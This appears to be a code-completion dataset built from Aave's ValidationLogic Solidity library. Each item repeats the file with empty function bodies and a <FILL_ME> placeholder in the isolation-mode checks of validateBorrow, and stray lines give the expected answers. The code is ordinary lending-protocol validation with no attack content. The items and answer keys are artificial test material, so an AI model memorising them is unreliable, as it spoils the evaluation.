DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
vars.borrowingEnabled,Errors.BORROWING_NOT_ENABLED
435,439
vars.borrowingEnabled
Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(!vars.isPaused, Errors.RESERVE_PAUSED); require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require(<FILL_ME>) require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
params.reserveCache.reserveConfiguration.getBorrowableInIsolation(),Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION
435,439
params.reserveCache.reserveConfiguration.getBorrowableInIsolation()
Errors.DEBT_CEILING_EXCEEDED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(!vars.isPaused, Errors.RESERVE_PAUSED); require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require(<FILL_ME>) } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The 